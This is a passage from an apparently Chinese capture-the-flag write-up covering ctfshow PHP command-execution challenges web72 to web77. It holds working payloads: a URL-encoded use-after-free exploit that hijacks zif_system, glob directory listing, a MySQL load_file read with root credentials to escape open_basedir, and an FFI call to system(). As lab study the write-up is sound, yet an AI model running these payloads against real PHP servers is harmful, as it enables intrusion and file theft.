0%20%24%63%6f%6e%74%69%67%75%6f%75%73%20%3d%20%5b%5d%3b%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%5f%61%6c%6c%6f%63%3b%20%24%69%2b%2b%29%0a%20%20%20%20%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%5b%5d%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0a%0a%20%20%20%20%74%72%69%67%67%65%72%5f%75%61%66%28%27%78%27%29%3b%0a%20%20%20%20%24%61%62%63%20%3d%20%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%5b%30%5d%3b%0a%0a%20%20%20%20%24%68%65%6c%70%65%72%20%3d%20%6e%65%77%20%48%65%6c%70%65%72%3b%0a%20%20%20%20%24%68%65%6c%70%65%72%2d%3e%62%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%24%78%29%20%7b%20%7d%3b%0a%0a%20%20%20%20%69%66%28%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%37%39%20%7c%7c%20%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%30%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%55%41%46%20%66%61%69%6c%65%64%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%29%3b%0a%20%20%20%20%24%70%68%70%5f%68%65%61%70%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%35%38%29%3b%0a%20%20%20%20%24%61%62%63%5f%61%64%64%72%20%3d%20%24%70%68%70%5f%68%65%61%70%20%2d%20%30%78%63%38%3b%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%30%2c%20%32%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%37%30%2c%20%36%29%3b%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%30%78%36%30%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%38%2c%20%30%78%61%29%3b%0a%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%32%30%29%3b%0a%0a%20%20%20%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%2c%20%38%29%3b%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%65%20%3d%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%64%65%74%65%72%6d%69%6e%65%20%62%69%6e%61%72%79%20%62%61%73%65%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%65%6c%66%20%3d%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%70%61%72%73%65%20%45%4c%46%20%68%65%61%64%65%72%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%69%63%5f%66%75%6e%63%73%20%3d%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%62%61%73%69%63%5f%66%75%6e%63%74%69%6f%6e%73%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%7a%69%66%5f%73%79%73%74%65%6d%20%3d%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%7a%69%66%5f%73%79%73%74%65%6d%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%0a%20%20%20%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%3d%20%30%78%64%30%3b%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%31%30%3b%20%24%69%20%2b%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%2b%20%24%69%2c%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%2c%20%24%69%29%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%32%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%33%38%2c%20%31%2c%20%34%29%3b%20%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%36%38%2c%20%24%7a%69%66%5f%73%79%73%74%65%6d%29%3b%20%0a%0a%20%20%20%20%28%24%68%65%6c%70%65%72%2d%3e%62%29%28%24%63%6d%64%29%3b%0a%20%20%20%20%65%78%69%74%28%29%3b%0a%7d%0a%0a%63%74%66%73%68%6f%77%28%22%63%61%74%20%2f%66%6c%61%67%30%2e%74%78%74%22%29%3b%6f%62%5f%65%6e%64%5f%66%6c%75%73%68%28%29%3b%0a%3f%3e

    获得 flag

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111131213329.png" alt="image-20250111131213329" style="zoom:67%;" />

# web73

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111134355157.png" alt="image-20250111134355157" style="zoom:67%;" />

查看一下根目录:

c=echo(implode('---',scandir("/")));die();

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111134700528.png" alt="image-20250111134700528" style="zoom:67%;" />

看到有 flagc.txt 读取

c=include('/flagc.txt');die();

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111134954967.png" alt="image-20250111134954967" style="zoom:50%;" />

# web74

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111135612359.png" alt="image-20250111135612359" style="zoom:67%;" />

查看根目录文件:

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111140759230.png" alt="image-20250111140759230" style="zoom:80%;" />

查看 flagx.txt :

c=include('/flagx.txt');die();

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111140947165.png" alt="image-20250111140947165" style="zoom:67%;" />

# web75

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111141141489.png" alt="image-20250111141141489" style="zoom:67%;" />

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111141240701.png" alt="image-20250111141240701" style="zoom:67%;" />

查看 /flag36.txt ,但是发现

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111143833612.png" alt="image-20250111143833612" style="zoom:67%;" />

发现被限制了路径 /var/www/html ,设置了 open_basedir , 但 web72题 的安全目录绕过不行了, include() 也读不了了,看答案用数据库。。。。不会

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
#数据库名:ctftraining
#用户名 root,密码 root

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111160153621.png" alt="image-20250111160153621" style="zoom:67%;" />

# web76

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111161221105.png" alt="image-20250111161221105" style="zoom:67%;" />

设置了 open_basedir

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111161524909.png" alt="image-20250111161524909" style="zoom:67%;" />

继续试一下 75 题的 payload

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

得到 flag

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111161627367.png" alt="image-20250111161627367" style="zoom:50%;" />

# web77

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111162905269.png" alt="image-20250111162905269" style="zoom:67%;" />

查看根目录,发现到 flag

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111162933067.png" alt="image-20250111162933067" style="zoom:67%;" />

看 wp,有个 php7.4 以上的 payload (这个方式成功绕过了对system函数的限制)

c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);
#FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。
$ffi = FFI::cdef("int system(const char *command);");// 创建一个 system 对象
$a='/readflag > 1.txt';// 没有回显,所以将内容输出到 1.txt
$ffi->system($a);// 通过 $ffi 去调用 system 函数

输入 payload:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111163605592.png" alt="image-20250111163605592" style="zoom:67%;" />

再访问 url/1.txt ,得到 flag

image-20250111163722075